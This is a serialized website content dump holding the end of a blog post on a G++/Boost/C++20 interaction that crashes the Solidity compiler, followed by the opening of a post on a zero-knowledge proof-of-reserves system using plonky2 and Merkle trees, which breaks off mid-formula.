",{"type":20,"tag":119,"props":90220,"children":90222},{"className":90221},[],[90223],{"type":26,"value":90224},"DeclarationTypeChecker::endVisit",{"type":26,"value":2884},{"type":20,"tag":305,"props":90227,"children":90229},{"code":90228,"language":27527,"meta":7,"className":27525,"style":7},"if (Expression const* length = _typeName.length()) {\n std::optional\u003Crational> lengthValue;\n\n if (length->annotation().type && length->annotation().type->category() == Type::Category::RationalNumber)\n ...\n else if (std::optional\u003CConstantEvaluator::TypedRational> value = ConstantEvaluator::evaluate(...))\n lengthValue = value->value;\n\n if (!lengthValue)\n ...\n else if (*lengthValue == 0) // \u003C-- Infinite recursion happens here\n ...\n}\n",[90230],{"type":20,"tag":119,"props":90231,"children":90232},{"__ignoreMap":7},[90233,90280,90305,90312,90390,90397,90450,90478,90485,90505,90512,90552,90559],{"type":20,"tag":315,"props":90234,"children":90235},{"class":317,"line":318},[90236,90240,90245,90249,90253,90258,90262,90267,90271,90275],{"type":20,"tag":315,"props":90237,"children":90238},{"style":525},[90239],{"type":26,"value":528},{"type":20,"tag":315,"props":90241,"children":90242},{"style":328},[90243],{"type":26,"value":90244}," (Expression ",{"type":20,"tag":315,"props":90246,"children":90247},{"style":541},[90248],{"type":26,"value":8054},{"type":20,"tag":315,"props":90250,"children":90251},{"style":334},[90252],{"type":26,"value":901},{"type":20,"tag":315,"props":90254,"children":90255},{"style":328},[90256],{"type":26,"value":90257}," length ",{"type":20,"tag":315,"props":90259,"children":90260},{"style":334},[90261],{"type":26,"value":337},{"type":20,"tag":315,"props":90263,"children":90264},{"style":635},[90265],{"type":26,"value":90266}," _typeName",{"type":20,"tag":315,"props":90268,"children":90269},{"style":328},[90270],{"type":26,"value":61},{"type":20,"tag":315,"props":90272,"children":90273},{"style":345},[90274],{"type":26,"value":6900},{"type":20,"tag":315,"props":90276,"children":90277},{"style":328},[90278],{"type":26,"value":90279},"()) {\n",{"type":20,"tag":315,"props":90281,"children":90282},{"class":317,"line":356},[90283,90288,90292,90296,90300],{"type":20,"tag":315,"props":90284,"children":90285},{"style":328},[90286],{"type":26,"value":90287}," std::optional",{"type":20,"tag":315,"props":90289,"children":90290},{"style":334},[90291],{"type":26,"value":4199},{"type":20,"tag":315,"props":90293,"children":90294},{"style":328},[90295],{"type":26,"value":89365},{"type":20,"tag":315,"props":90297,"children":90298},{"style":334},[90299],{"type":26,"value":8862},{"type":20,"tag":315,"props":90301,"children":90302},{"style":328},[90303],{"type":26,"value":90304}," lengthValue;\n",{"type":20,"tag":315,"props":90306,"children":90307},{"class":317,"line":365},[90308],{"type":20,"tag":315,"props":90309,"children":90310},{"emptyLinePlaceholder":15},[90311],{"type":26,"value":427},{"type":20,"tag":315,"props":90313,"children":90314},{"class":317,"line":374},[90315,90319,90323,90327,90331,90335,90339,90343,90347,90352,90356,90360,90364,90368,90372,90377,90381,90385],{"type":20,"tag":315,"props":90316,"children":90317},{"style":525},[90318],{"type":26,"value":10680},{"type":20,"tag":315,"props":90320,"children":90321},{"style":328},[90322],{"type":26,"value":463},{"type":20,"tag":315,"props":90324,"children":90325},{"style":635},[90326],{"type":26,"value":6900},{"type":20,"tag":315,"props":90328,"children":90329},{"style":328},[90330],{"type":26,"value":12158},{"type":20,"tag":315,"props":90332,"children":90333},{"style":345},[90334],{"type":26,"value":28578},{"type":20,"tag":315,"props":90336,"children":90337},{"style":328},[90338],{"type":26,"value":28583},{"type":20,"tag":315,"props":90340,"children":90341},{"style":635},[90342],{"type":26,"value":31170},{"type":20,"tag":315,"props":90344,"children":90345},{"style":334},[90346],{"type":26,"value":12586},{"type":20,"tag":315,"props":90348,"children":90349},{"style":635},[90350],{"type":26,"value":90351}," length",{"type":20,"tag":315,"props":90353,"children":90354},{"style":328},[90355],{"type":26,"value":12158},{"type":20,"tag":315,"props":90357,"children":90358},{"style":345},[90359],{"type":26,"value":28578},{"type":20,"tag":315,"props":90361,"children":90362},{"style":328},[90363],{"type":26,"value":28583},{"type":20,"tag":315,"props":90365,"children":90366},{"style":635},[90367],{"type":26,"value":31170},{"type":20,"tag":315,"props":90369,"children":90370},{"style":328},[90371],{"type":26,"value":12158},{"type":20,"tag":315,"props":90373,"children":90374},{"style":345},[90375],{"type":26,"value":90376},"category",{"type":20,"tag":315,"props":90378,"children":90379},{"style":328},[90380],{"type":26,"value":12444},{"type":20,"tag":315,"props":90382,"children":90383},{"style":334},[90384],{"type":26,"value":538},{"type":20,"tag":315,"props":90386,"children":90387},{"style":328},[90388],{"type":26,"value":90389}," Type::Category::RationalNumber)\n",{"type":20,"tag":315,"props":90391,"children":90392},{"class":317,"line":383},[90393],{"type":20,"tag":315,"props":90394,"children":90395},{"style":328},[90396],{"type":26,"value":80100},{"type":20,"tag":315,"props":90398,"children":90399},{"class":317,"line":407},[90400,90405,90409,90414,90418,90423,90427,90432,90436,90441,90445],{"type":20,"tag":315,"props":90401,"children":90402},{"style":525},[90403],{"type":26,"value":90404}," else",{"type":20,"tag":315,"props":90406,"children":90407},{"style":525},[90408],{"type":26,"value":14189},{"type":20,"tag":315,"props":90410,"children":90411},{"style":328},[90412],{"type":26,"value":90413}," (std::optional",{"type":20,"tag":315,"props":90415,"children":90416},{"style":334},[90417],{"type":26,"value":4199},{"type":20,"tag":315,"props":90419,"children":90420},{"style":328},[90421],{"type":26,"value":90422},"ConstantEvaluator::TypedRational",{"type":20,"tag":315,"props":90424,"children":90425},{"style":334},[90426],{"type":26,"value":8862},{"type":20,"tag":315,"props":90428,"children":90429},{"style":328},[90430],{"type":26,"value":90431}," value ",{"type":20,"tag":315,"props":90433,"children":90434},{"style":334},[90435],{"type":26,"value":337},{"type":20,"tag":315,"props":90437,"children":90438},{"style":328},[90439],{"type":26,"value":90440}," ConstantEvaluator::",{"type":20,"tag":315,"props":90442,"children":90443},{"style":345},[90444],{"type":26,"value":36421},{"type":20,"tag":315,"props":90446,"children":90447},{"style":328},[90448],{"type":26,"value":90449},"(...))\n",{"type":20,"tag":315,"props":90451,"children":90452},{"class":317,"line":421},[90453,90458,90462,90466,90470,90474],{"type":20,"tag":315,"props":90454,"children":90455},{"style":328},[90456],{"type":26,"value":90457}," lengthValue ",{"type":20,"tag":315,"props":90459,"children":90460},{"style":334},[90461],{"type":26,"value":337},{"type":20,"tag":315,"props":90463,"children":90464},{"style":635},[90465],{"type":26,"value":30925},{"type":20,"tag":315,"props":90467,"children":90468},{"style":328},[90469],{"type":26,"value":12158},{"type":20,"tag":315,"props":90471,"children":90472},{"style":635},[90473],{"type":26,"value":37568},{"type":20,"tag":315,"props":90475,"children":90476},{"style":328},[90477],{"type":26,"value":1405},{"type":20,"tag":315,"props":90479,"children":90480},{"class":317,"line":430},[90481],{"type":20,"tag":315,"props":90482,"children":90483},{"emptyLinePlaceholder":15},[90484],{"type":26,"value":427},{"type":20,"tag":315,"props":90486,"children":90487},{"class":317,"line":453},[90488,90492,90496,90500],{"type":20,"tag":315,"props":90489,"children":90490},{"style":525},[90491],{"type":26,"value":10680},{"type":20,"tag":315,"props":90493,"children":90494},{"style":328},[90495],{"type":26,"value":463},{"type":20,"tag":315,"props":90497,"children":90498},{"style":334},[90499],{"type":26,"value":19025},{"type":20,"tag":315,"props":90501,"children":90502},{"style":328},[90503],{"type":26,"value":90504},"lengthValue)\n",{"type":20,"tag":315,"props":90506,"children":90507},{"class":317,"line":486},[90508],{"type":20,"tag":315,"props":90509,"children":90510},{"style":328},[90511],{"type":26,"value":80100},{"type":20,"tag":315,"props":90513,"children":90514},{"class":317,"line":499},[90515,90519,90523,90527,90531,90535,90539,90543,90547],{"type":20,"tag":315,"props":90516,"children":90517},{"style":525},[90518],{"type":26,"value":90404},{"type":20,"tag":315,"props":90520,"children":90521},{"style":525},[90522],{"type":26,"value":14189},{"type":20,"tag":315,"props":90524,"children":90525},{"style":328},[90526],{"type":26,"value":463},{"type":20,"tag":315,"props":90528,"children":90529},{"style":334},[90530],{"type":26,"value":901},{"type":20,"tag":315,"props":90532,"children":90533},{"style":328},[90534],{"type":26,"value":88336},{"type":20,"tag":315,"props":90536,"children":90537},{"style":334},[90538],{"type":26,"value":538},{"type":20,"tag":315,"props":90540,"children":90541},{"style":765},[90542],{"type":26,"value":985},{"type":20,"tag":315,"props":90544,"children":90545},{"style":328},[90546],{"type":26,"value":1509},{"type":20,"tag":315,"props":90548,"children":90549},{"style":1071},[90550],{"type":26,"value":90551}," // \u003C-- Infinite recursion happens here\n",{"type":20,"tag":315,"props":90553,"children":90554},{"class":317,"line":513},[90555],{"type":20,"tag":315,"props":90556,"children":90557},{"style":328},[90558],{"type":26,"value":80100},{"type":20,"tag":315,"props":90560,"children":90561},{"class":317,"line":521},[90562],{"type":20,"tag":315,"props":90563,"children":90564},{"style":328},[90565],{"type":26,"value":577},{"type":20,"tag":29,"props":90567,"children":90568},{},[90569],{"type":26,"value":90570},"Under normal circumstances, this expression is benign. But:",{"type":20,"tag":15089,"props":90572,"children":90573},{},[90574,90579,90584],{"type":20,"tag":72,"props":90575,"children":90576},{},[90577],{"type":26,"value":90578},"G++ \u003C 14 wrongly prefers Boost's non-member operator",{"type":20,"tag":72,"props":90580,"children":90581},{},[90582],{"type":26,"value":90583},"C++20 reverses the arguments",{"type":20,"tag":72,"props":90585,"children":90586},{},[90587],{"type":26,"value":90588},"The non-member operator recursively calls itself",{"type":20,"tag":29,"props":90590,"children":90591},{},[90592],{"type":26,"value":90593},"💥: segmentation fault.",{"type":20,"tag":17197,"props":90595,"children":90596},{},[],{"type":20,"tag":21,"props":90598,"children":90600},{"id":90599},"part-v-what-environments-are-affected",[90601],{"type":26,"value":90602},"Part V: What Environments are Affected?",{"type":20,"tag":29,"props":90604,"children":90605},{},[90606],{"type":26,"value":90607},"If a system uses any of the following:",{"type":20,"tag":15089,"props":90609,"children":90610},{},[90611,90616,90621],{"type":20,"tag":72,"props":90612,"children":90613},{},[90614],{"type":26,"value":90615},"G++ \u003C 14 (e.g., Ubuntu 22.04 uses 11.4)",{"type":20,"tag":72,"props":90617,"children":90618},{},[90619],{"type":26,"value":90620},"Boost \u003C 1.75 (e.g., 1.74 ships with Ubuntu)",{"type":20,"tag":72,"props":90622,"children":90623},{},[90624],{"type":26,"value":90625},"C++20 enabled (default in recent Solidity builds)",{"type":20,"tag":29,"props":90627,"children":90628},{},[90629,90631,90636,90638,90644],{"type":26,"value":90630},"They will encounter this crash ",{"type":20,"tag":3717,"props":90632,"children":90633},{},[90634],{"type":26,"value":90635},"as soon as",{"type":26,"value":90637}," it processes a Solidity source with a length expression like ",{"type":20,"tag":119,"props":90639,"children":90641},{"className":90640},[],[90642],{"type":26,"value":90643},"T[0]",{"type":26,"value":90645}," or anything involving compile-time rational comparisons.",{"type":20,"tag":17197,"props":90647,"children":90648},{},[],{"type":20,"tag":21,"props":90650,"children":90652},{"id":90651},"recommendations",[90653],{"type":26,"value":90654},"Recommendations",{"type":20,"tag":15089,"props":90656,"children":90657},{},[90658,90666],{"type":20,"tag":72,"props":90659,"children":90660},{},[90661],{"type":20,"tag":3717,"props":90662,"children":90663},{},[90664],{"type":26,"value":90665},"Update Boost to ≥ 1.75",{"type":20,"tag":72,"props":90667,"children":90668},{},[90669],{"type":20,"tag":3717,"props":90670,"children":90671},{},[90672],{"type":26,"value":90673},"Pin G++ to v14 or later",{"type":20,"tag":17197,"props":90675,"children":90676},{},[],{"type":20,"tag":21,"props":90678,"children":90679},{"id":1211},[90680],{"type":26,"value":1214},{"type":20,"tag":29,"props":90682,"children":90683},{},[90684],{"type":26,"value":90685},"This isn’t a security vulnerability. It doesn’t corrupt memory or allow code execution.",{"type":20,"tag":29,"props":90687,"children":90688},{},[90689,90691,90695],{"type":26,"value":90690},"But it ",{"type":20,"tag":3717,"props":90692,"children":90693},{},[90694],{"type":26,"value":2366},{"type":26,"value":90696}," a reminder of the fragility of modern build stacks. A bug introduced in 2012, fixed in 2024, quietly broke one of the most used blockchain compiler toolchains — all without any code in the Solidity repo being “wrong.”",{"type":20,"tag":29,"props":90698,"children":90699},{},[90700],{"type":26,"value":90701},"Every layer here — Boost, G++, the C++20 spec, and Solidity — behaved “as documented.” But together, they composed into undefined behavior.",{"type":20,"tag":29,"props":90703,"children":90704},{},[90705],{"type":26,"value":90706},"The lesson? Always test critical software under multiple compilers and library versions — especially when enabling a new language standard.",{"type":20,"tag":1226,"props":90708,"children":90709},{},[90710],{"type":26,"value":1230},{"title":7,"searchDepth":356,"depth":356,"links":90712},[90713,90714,90719,90722,90723,90724,90725,90726],{"id":88396,"depth":356,"text":88399},{"id":88485,"depth":356,"text":88488,"children":90715},[90716,90717,90718],{"id":88491,"depth":365,"text":88494},{"id":88559,"depth":365,"text":88562},{"id":88650,"depth":365,"text":88653},{"id":89234,"depth":356,"text":89237,"children":90720},[90721],{"id":89240,"depth":365,"text":89243},{"id":89351,"depth":356,"text":89354},{"id":90198,"depth":356,"text":90201},{"id":90599,"depth":356,"text":90602},{"id":90651,"depth":356,"text":90654},{"id":1211,"depth":356,"text":1214},"content:blog:2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug",{"_path":90731,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":90732,"description":90733,"date":90734,"author":29616,"image":90735,"isFeatured":15,"onBlogPage":15,"tags":90737,"body":90740,"_type":1242,"_id":95516,"_source":1244,"_file":95517,"_stem":95518,"_extension":1247},"/blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds","PoRv2: A Fast, Transparent ZK-Based Proof of Reserves","Here, we explore zk-proofs, Merkle trees, and our new open-source implementation, PoRv2. Our proof-of-reserve enables users to verify exchange liabilities without relying on external auditors, setting a new standard for trust.","2025-08-27",{"src":90736,"width":12024,"height":12024},"/posts/por/title.png",[90738,90739],"zk","por",{"type":17,"children":90741,"toc":95493},[90742,90748,90760,90772,90777,90809,90823,90829,90841,90846,90851,90888,90893,90899,90904,90911,90916,90942,90947,90953,90973,90987,90995,91000,91005,91013,91026,91032,91114,91120,91125,91138,91143,91150,91174,91182,91187,91193,91198,91646,91659,91665,91670,91678,91696,91704,91717,91725,93386,93391,93398,93404,93409,93416,93432,93439,93447,93454,94965,94970,94977,94983,94988,95015,95020,95039,95045,95053,95071,95120,95128,95147,95169,95175,95188,95193,95200,95205,95268,95273,95280,95300,95306,95311,95317,95322,95366,95371,95379,95385,95390,95432,95437,95445,95450,95458,95462,95467,95480],{"type":20,"tag":21,"props":90743,"children":90745},{"id":90744},"what-is-a-proof-of-reserves",[90746],{"type":26,"value":90747},"What is a Proof of Reserves?",{"type":20,"tag":29,"props":90749,"children":90750},{},[90751,90753,90758],{"type":26,"value":90752},"At its heart, ",{"type":20,"tag":3717,"props":90754,"children":90755},{},[90756],{"type":26,"value":90757},"Proof of Reserves (PoR)",{"type":26,"value":90759}," is a crucial system designed to show that a crypto platform genuinely holds the funds it owes to its users. It's how exchanges and custodians can prove, using strong cryptographic methods, that they have enough assets to cover all customer deposits.",{"type":20,"tag":29,"props":90761,"children":90762},{},[90763,90765,90770],{"type":26,"value":90764},"Think of it this way: ",{"type":20,"tag":3717,"props":90766,"children":90767},{},[90768],{"type":26,"value":90769},"PoR",{"type":26,"value":90771}," is about enabling transparency. It's a way for platforms to provide clear, verifiable evidence of their financial health. For users, it means gaining confidence that their funds are secure on the platforms they use.",{"type":20,"tag":29,"props":90773,"children":90774},{},[90775],{"type":26,"value":90776},"Historically, traditional ways of proving reserves often had drawbacks. They might reveal too much sensitive information about the platform and rely heavily on external auditors without a direct user verification method.",{"type":20,"tag":29,"props":90778,"children":90779},{},[90780,90782,90789,90791,90798,90800,90807],{"type":26,"value":90781},"We from OtterSec, in partnership with ",{"type":20,"tag":35,"props":90783,"children":90786},{"href":90784,"rel":90785},"https://backpack.exchange/",[39],[90787],{"type":26,"value":90788},"Backpack",{"type":26,"value":90790},", just developed a Proof of Reserves system that can be used to prove CEX solvency. Our ",{"type":20,"tag":35,"props":90792,"children":90795},{"href":90793,"rel":90794},"https://github.com/otter-sec/por_v2",[39],[90796],{"type":26,"value":90797},"Zero-Knowledge Proof of Reserves (PoRv2)",{"type":26,"value":90799}," was based on ",{"type":20,"tag":35,"props":90801,"children":90804},{"href":90802,"rel":90803},"https://www.okx.com/en-eu/help/zero-knowledge-proofs-what-are-zk-starks-and-how-do-they-work-v2",[39],[90805],{"type":26,"value":90806},"OKX Proof of Reserves algorithm",{"type":26,"value":90808}," since it was the fastest and most efficient one known so far. We also use recursive plonky2 as the algorithm for zero-knowledge proving, but we made some improvements to the circuits for more transparency and verifiable information on the user side, eliminating the need to trust the audit company.",{"type":20,"tag":29,"props":90810,"children":90811},{},[90812,90814,90821],{"type":26,"value":90813},"In addition, we also created and open-sourced a ",{"type":20,"tag":35,"props":90815,"children":90818},{"href":90816,"rel":90817},"https://github.com/otter-sec/por_verifier_server",[39],[90819],{"type":26,"value":90820},"PoR verifier server",{"type":26,"value":90822}," that receives the proofs and validates them.",{"type":20,"tag":21,"props":90824,"children":90826},{"id":90825},"why-do-we-use-zk-for-por",[90827],{"type":26,"value":90828},"Why do we use ZK for PoR?",{"type":20,"tag":29,"props":90830,"children":90831},{},[90832,90834,90839],{"type":26,"value":90833},"Proving reserves is crucial, but it presents a unique challenge for any platform holding user funds: how do you publicly prove solvency without also exposing sensitive user balance information or revealing proprietary financial details? This is where ",{"type":20,"tag":3717,"props":90835,"children":90836},{},[90837],{"type":26,"value":90838},"Zero-Knowledge Proofs (ZKPs)",{"type":26,"value":90840}," become game-changers.",{"type":20,"tag":29,"props":90842,"children":90843},{},[90844],{"type":26,"value":90845},"Simply put, a Zero-Knowledge Proof allows one party to prove to another that a statement is true without revealing any information beyond the validity of the statement itself. Imagine proving you know a secret password without actually telling anyone the password. You confirm you possess the knowledge, but the secret remains yours.",{"type":20,"tag":29,"props":90847,"children":90848},{},[90849],{"type":26,"value":90850},"In the context of Proof of Reserves, ZKPs are perfectly suited to solve the privacy paradox. They enable a platform to prove two important things cryptographically:",{"type":20,"tag":68,"props":90852,"children":90853},{},[90854,90871],{"type":20,"tag":72,"props":90855,"children":90856},{},[90857,90862,90864,90870],{"type":20,"tag":3717,"props":90858,"children":90859},{},[90860],{"type":26,"value":90861},"Sum proof",{"type":26,"value":90863},": The exchange liability is equal to the sum of all users' balances. (e.g: ",{"type":20,"tag":119,"props":90865,"children":90867},{"className":90866},[],[90868],{"type":26,"value":90869},"btc_liability = user1_btc + user2_btc + user3_btc + ...",{"type":26,"value":19146},{"type":20,"tag":72,"props":90872,"children":90873},{},[90874,90879,90881,90886],{"type":20,"tag":3717,"props":90875,"children":90876},{},[90877],{"type":26,"value":90878},"Non-negativity",{"type":26,"value":90880},": All users have a ",{"type":20,"tag":3717,"props":90882,"children":90883},{},[90884],{"type":26,"value":90885},"positive",{"type":26,"value":90887}," net balance. This ensures that the sum proof is not tampered with by users with negative net balances. A user can have negative asset balances (e.g., borrowing BTC) but only if collateralized with other assets.",{"type":20,"tag":29,"props":90889,"children":90890},{},[90891],{"type":26,"value":90892},"It is worth noting that we cannot guarantee that all users were included in the ZK analysis. Therefore, if we only used ZKPs to prove those two statements, the exchange could tamper with the sum proof by excluding users from the PoR. That's why we also use a Merkle tree to prove inclusions.",{"type":20,"tag":21,"props":90894,"children":90896},{"id":90895},"what-is-a-merkle-tree-and-how-does-it-help-in-a-por",[90897],{"type":26,"value":90898},"What is a Merkle Tree and how does it help in a PoR?",{"type":20,"tag":29,"props":90900,"children":90901},{},[90902],{"type":26,"value":90903},"A Merkle tree is a tree data structure where each leaf node is a cryptographic hash of an individual piece of data (like a user's balance), and every non-leaf node is a cryptographic hash of its child nodes. This structure allows for the entire dataset to be summarized by a single, unique hash at the top, called the Merkle Root.",{"type":20,"tag":29,"props":90905,"children":90906},{},[90907],{"type":20,"tag":2308,"props":90908,"children":90910},{"alt":48830,"src":90909},"/posts/por/merkle-tree.png",[],{"type":20,"tag":29,"props":90912,"children":90913},{},[90914],{"type":26,"value":90915},"In the PoR, we can use a Merkle tree to verify the inclusion of each user in the Proof of Reserves. It works like this:",{"type":20,"tag":68,"props":90917,"children":90918},{},[90919,90932,90937],{"type":20,"tag":72,"props":90920,"children":90921},{},[90922,90924,90930],{"type":26,"value":90923},"The Merkle tree is generated using the leaf nodes as the hashes of the user information (e.g., ",{"type":20,"tag":119,"props":90925,"children":90927},{"className":90926},[],[90928],{"type":26,"value":90929},"sha256({id: 1, balances: {\"BTC\": 0.1, \"ETH\": 0.2, ...}})",{"type":26,"value":90931},");",{"type":20,"tag":72,"props":90933,"children":90934},{},[90935],{"type":26,"value":90936},"The Merkle tree is made public;",{"type":20,"tag":72,"props":90938,"children":90939},{},[90940],{"type":26,"value":90941},"Each user can download the Merkle tree and check if their account was included by hashing their account information and checking if the hash is one of the leaves;",{"type":20,"tag":29,"props":90943,"children":90944},{},[90945],{"type":26,"value":90946},"In other words, this use of the Merkle tree allows users to easily verify that their individual balance was included in the overall total.",{"type":20,"tag":21,"props":90948,"children":90950},{"id":90949},"ottersec-porv2",[90951],{"type":26,"value":90952},"OtterSec PoRv2",{"type":20,"tag":29,"props":90954,"children":90955},{},[90956,90962,90964,90971],{"type":20,"tag":35,"props":90957,"children":90959},{"href":90793,"rel":90958},[39],[90960],{"type":26,"value":90961},"We just open-sourced our Proof of Reserves code (PoRv2)",{"type":26,"value":90963},", which uses the ",{"type":20,"tag":35,"props":90965,"children":90968},{"href":90966,"rel":90967},"https://github.com/0xPolygonZero/plonky2",[39],[90969],{"type":26,"value":90970},"plonky2 ZK algorithm",{"type":26,"value":90972}," to create a Merkle tree and a final ZK proof that recursively verifies smaller sum and non-negativity proofs.",{"type":20,"tag":29,"props":90974,"children":90975},{},[90976,90978,90985],{"type":26,"value":90977},"We named it PoRv2 because we already had a version based on ",{"type":20,"tag":35,"props":90979,"children":90982},{"href":90980,"rel":90981},"https://vitalik.eth.limo/general/2022/11/19/proof_of_solvency.html",[39],[90983],{"type":26,"value":90984},"Vitalik's proof of solvency",{"type":26,"value":90986},", which was not optimal.",{"type":20,"tag":29,"props":90988,"children":90989},{},[90990],{"type":20,"tag":3717,"props":90991,"children":90992},{},[90993],{"type":26,"value":90994},"Non-negativity Proof",{"type":20,"tag":29,"props":90996,"children":90997},{},[90998],{"type":26,"value":90999},"In our non-negativity proof, the circuit receives the asset balances of each user and the price of each asset. With these inputs, it calculates the account's USD balance and checks if it is greater than 0.",{"type":20,"tag":29,"props":91001,"children":91002},{},[91003],{"type":26,"value":91004},"We also check for overflows during summation to prevent tampering in the final result.",{"type":20,"tag":29,"props":91006,"children":91007},{},[91008],{"type":20,"tag":3717,"props":91009,"children":91010},{},[91011],{"type":26,"value":91012},"Sum Proof",{"type":20,"tag":29,"props":91014,"children":91015},{},[91016,91018,91024],{"type":26,"value":91017},"The sum proof verifies a public circuit input that was calculated by summing up all user balances of each asset. (e.g., ",{"type":20,"tag":119,"props":91019,"children":91021},{"className":91020},[],[91022],{"type":26,"value":91023},"BTC final: user1_btc + user2_btc ...",{"type":26,"value":91025},"). Note that each asset's final sum is not USD-based; we calculate the final balance using the asset balance itself.",{"type":20,"tag":219,"props":91027,"children":91029},{"id":91028},"what-are-the-ottersec-porv2-key-points",[91030],{"type":26,"value":91031},"What are the OtterSec PoRv2 key points?",{"type":20,"tag":68,"props":91033,"children":91034},{},[91035,91045,91063,91073,91104],{"type":20,"tag":72,"props":91036,"children":91037},{},[91038,91043],{"type":20,"tag":3717,"props":91039,"children":91040},{},[91041],{"type":26,"value":91042},"Transparency",{"type":26,"value":91044},": It is possible for the exchange to safely disclose the entire Merkle tree so users can verify it without the need for an external auditing company. Also, the code allows asset price commitments and verifications.",{"type":20,"tag":72,"props":91046,"children":91047},{},[91048,91053,91055,91062],{"type":20,"tag":3717,"props":91049,"children":91050},{},[91051],{"type":26,"value":91052},"Time-efficiency",{"type":26,"value":91054},": We were able to reduce the amount of time to prove by more than 100 times from our previous version by generating proofs for 750,000 users within 8 minutes using a Mac M3 Pro. ",{"type":20,"tag":35,"props":91056,"children":91059},{"href":91057,"rel":91058},"https://github.com/otter-sec/por_v2?tab=readme-ov-file#benchmark",[39],[91060],{"type":26,"value":91061},"Check our benchmark",{"type":26,"value":61},{"type":20,"tag":72,"props":91064,"children":91065},{},[91066,91071],{"type":20,"tag":3717,"props":91067,"children":91068},{},[91069],{"type":26,"value":91070},"Memory-efficiency",{"type":26,"value":91072},": We also were able to reduce the amount of RAM needed to prove the liabilities of millions of users. Now, we are able to use machines with 16GB.",{"type":20,"tag":72,"props":91074,"children":91075},{},[91076,91081,91083,91088,91090,91095,91097,91102],{"type":20,"tag":3717,"props":91077,"children":91078},{},[91079],{"type":26,"value":91080},"Small-proofs",{"type":26,"value":91082},": We were able to reduce the final proof to less than ",{"type":20,"tag":3717,"props":91084,"children":91085},{},[91086],{"type":26,"value":91087},"500KB",{"type":26,"value":91089}," and each inclusion proof to ",{"type":20,"tag":3717,"props":91091,"children":91092},{},[91093],{"type":26,"value":91094},"~52KB",{"type":26,"value":91096},". The only big file that we need to store is the Merkle tree, which doesn't consume more than ",{"type":20,"tag":3717,"props":91098,"children":91099},{},[91100],{"type":26,"value":91101},"200MB",{"type":26,"value":91103}," if the PoR parameters are finely adjusted. Additionally, instead of storing each inclusion proof in a static file, we provide an efficient method to generate inclusion proofs on demand, eliminating the need for the exchange to store millions of files and conserve disk space and resources.",{"type":20,"tag":72,"props":91105,"children":91106},{},[91107,91112],{"type":20,"tag":3717,"props":91108,"children":91109},{},[91110],{"type":26,"value":91111},"Privacy",{"type":26,"value":91113},": We use many cryptographic mechanisms to ensure that the user balances and other private information are kept safe and secret.",{"type":20,"tag":21,"props":91115,"children":91117},{"id":91116},"zk-circuits",[91118],{"type":26,"value":91119},"ZK Circuits",{"type":20,"tag":29,"props":91121,"children":91122},{},[91123],{"type":26,"value":91124},"We use two different ZK circuits to generate the final proof:",{"type":20,"tag":68,"props":91126,"children":91127},{},[91128,91133],{"type":20,"tag":72,"props":91129,"children":91130},{},[91131],{"type":26,"value":91132},"Batch circuit",{"type":20,"tag":72,"props":91134,"children":91135},{},[91136],{"type":26,"value":91137},"Recursive circuit",{"type":20,"tag":29,"props":91139,"children":91140},{},[91141],{"type":26,"value":91142},"With those two circuits, we can generate the proofs recursive tree:",{"type":20,"tag":29,"props":91144,"children":91145},{},[91146],{"type":20,"tag":2308,"props":91147,"children":91149},{"alt":48830,"src":91148},"/posts/por/batch-circuit.png",[],{"type":20,"tag":1312,"props":91151,"children":91152},{},[91153],{"type":20,"tag":29,"props":91154,"children":91155},{},[91156,91158,91164,91166,91172],{"type":26,"value":91157},"Note: We are using 512 as ",{"type":20,"tag":119,"props":91159,"children":91161},{"className":91160},[],[91162],{"type":26,"value":91163},"BATCH_SIZE",{"type":26,"value":91165}," and 8 as ",{"type":20,"tag":119,"props":91167,"children":91169},{"className":91168},[],[91170],{"type":26,"value":91171},"RECURSIVE_SIZE",{"type":26,"value":91173}," which indicates how many children each circuit has. This is easily adjustable in the code, and the optimal configuration will depend on the amount of accounts being proved in the PoR.",{"type":20,"tag":1312,"props":91175,"children":91176},{},[91177],{"type":20,"tag":29,"props":91178,"children":91179},{},[91180],{"type":26,"value":91181},"Note 2: We add empty proofs as padding to chunks that don't have the correct length.",{"type":20,"tag":29,"props":91183,"children":91184},{},[91185],{"type":26,"value":91186},"Each non-leaf node in this tree is a ZK proof, which is generated using the related circuit; each circuit also generates the Merkle tree hash of each node, which is included in the Merkle tree.",{"type":20,"tag":219,"props":91188,"children":91190},{"id":91189},"leaf-nodes",[91191],{"type":26,"value":91192},"Leaf Nodes",{"type":20,"tag":29,"props":91194,"children":91195},{},[91196],{"type":26,"value":91197},"The leaf nodes are the hashes of the account information. It is calculated in this way:",{"type":20,"tag":29,"props":91199,"children":91200},{},[91201],{"type":20,"tag":119,"props":91202,"children":91204},{"className":91203},[2375,2376],[91205],{"type":20,"tag":315,"props":91206,"children":91208},{"className":91207},[2381],[91209],{"type":20,"tag":315,"props":91210,"children":91212},{"className":91211,"ariaHidden":2387},[2386],[91213,91240],{"type":20,"tag":315,"props":91214,"children":91216},{"className":91215},[2392],[91217,91222,91227,91231,91236],{"type":20,"tag":315,"props":91218,"children":91221},{"className":91219,"style":91220},[2397],"height:0.6944em;",[],{"type":20,"tag":315,"props":91223,"children":91225},{"className":91224},[2403,19992],[91226],{"type":26,"value":82603},{"type":20,"tag":315,"props":91228,"children":91230},{"className":91229,"style":2581},[2483],[],{"type":20,"tag":315,"props":91232,"children":91234},{"className":91233},[2586],[91235],{"type":26,"value":337},{"type":20,"tag":315,"props":91237,"children":91239},{"className":91238,"style":2581},[2483],[],{"type":20,"tag":315,"props":91241,"children":91243},{"className":91242},[2392],[91244,91249,91254,91260,91265,91270,91276,91281,91286,91291,91297,91302,91308,91314,91321,91327,91333,91393,91398,91404,91409,91414,91419,91424,91429,91434,91439,91444,91449,91506,91511,91516,91521,91526,91531,91536,91543,91548,91554,91559,91565,91571,91576,91581,91586,91591,91596,91601,91606,91611,91616,91621,91626,91631,91636,91641],{"type":20,"tag":315,"props":91245,"children":91248},{"className":91246,"style":91247},[2397],"height:1.06em;vertical-align:-0.31em;",[],{"type":20,"tag":315,"props":91250,"children":91252},{"className":91251,"style":19993},[2403,19992],[91253],{"type":26,"value":19996},{"type":20,"tag":315,"props":91255,"children":91257},{"className":91256},[2403,19992],[91258],{"type":26,"value":91259},"ose",{"type":20,"tag":315,"props":91261,"children":91263},{"className":91262},[2403,19992],[91264],{"type":26,"value":2122},{"type":20,"tag":315,"props":91266,"children":91268},{"className":91267},[2403,19992],[91269],{"type":26,"value":68820},{"type":20,